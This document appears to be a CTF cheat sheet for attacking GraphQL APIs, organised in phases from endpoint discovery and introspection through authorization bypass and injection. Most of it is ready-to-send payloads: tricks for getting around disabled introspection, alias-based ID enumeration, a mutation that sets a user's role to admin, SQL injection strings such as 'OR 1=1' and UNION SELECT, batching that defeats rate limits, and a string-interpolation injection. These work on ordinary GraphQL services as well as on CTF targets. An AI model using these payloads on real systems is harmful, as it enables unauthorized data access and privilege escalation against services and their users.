Phase 1: Discover GraphQL endpoints
Common paths: /graphql, /api/graphql, /graphiql, /v1/graphql, /query
Detection: POST {"query":"{ __typename }"} → returns {"data":{"__typename":"Query"}} confirms it
Phase 2: Introspection query (most important)
Get the full Schema:
{"query":"{ __schema { types { name fields { name type { name } } } } }"}
Simplified version (only Query and Mutation):
{"query":"{ __schema { queryType { fields { name args { name type { name } } } } mutationType { fields { name args { name type { name } } } } } }"}
The Introspection result contains all type definitions and fields — this is the most important information source
2.1 Bypassing disabled Introspection
Method 1: Field Suggestion The GraphQL engine suggests the correct field name for typos:
{"query":"{ __typena }"}
→ "Did you mean '__typename'?"
Use this feature to enumerate fields: send an incorrect field name and obtain the real field name from the suggestion.
Method 2: GET request bypass Some WAFs only block POST Introspection; use GET to bypass:
GET /graphql?query={__schema{types{name,fields{name}}}}
Method 3: Alias/Fragment bypass
{"query":"{ a: __schema { types { name } } }"}
{"query":"fragment f on __Schema { types { name } } { __schema { ...f } }"}
Method 4: Whitespace/newline variants
{"query":"\n{ __schema\n{ types\n{ name } } }"}
GraphQL field names are case-sensitive; the standard introspection field is
__schema;__SCHEMAis not a valid case bypass.
Method 5: Field-by-field guessing If none of the above works, guess based on common naming:
{"query":"{ user { id } }"}
{"query":"{ users { id } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ getUser(id:1) { id } }"}
Phase 3: Data enumeration
Query one by one based on the Schema:
{"query":"{ users { id username email role } }"}
{"query":"{ user(id: 1) { id username email role flag } }"}
{"query":"{ flag }"}
{"query":"{ admin { flag } }"}
{"query":"{ posts { id title content author } }"}
Pay attention to hidden fields (fields that exist in the Schema but are not displayed on the page)
Phase 4: Authorization bypass
- Directly query admin fields:
{"query":"mutation { updateUser(id: 1, role: \"admin\") { id role } }"} - Nested queries (Batch attack):
{"query":"{ user(id:1){flag} user2:user(id:2){flag} }"} - Alias ID enumeration:
{"query":"{ u1:user(id:1){id,name,flag} u2:user(id:2){id,name,flag} u3:user(id:3){id,name,flag} }"}
Phase 5: Injection
SQL injection in GraphQL parameters:
{"query":"{ user(name: \"admin' OR '1'='1\") { id flag } }"}
{"query":"{ search(keyword: \"' UNION SELECT flag FROM flags--\") { results } }"}
Phase 6: Advanced techniques
- Tool assistance: automated tools such as Clairvoyance and graphql-cop help discover hidden fields
- Batch queries (Batching): request multiple results at once in a single query
{a:user(id:1){name} b:user(id:2){name}} - WAF bypass: URL encoding (
%7B) encoding bypass; newline/space variants
CTF GraphQL technique supplement
Alias batch operations bypass rate limiting
Repeat the same mutation (such as voting/authentication) with aliases in a single request to bypass rate limiting:
mutation {
a1: vote(id: "target") { ok }
a2: vote(id: "target") { ok }
# 重复 N 次...
}
Array batching can also be used: POST body: [{"query":"mutation{...}"}, {"query":"mutation{...}"}, ...]
String interpolation injection
When the server concatenates GraphQL query strings, injection similar to SQLi occurs:
// 输入: ") { result } } mutation { adminAction(secret: true) { flag } } #
// 闭合原查询并注入新 mutation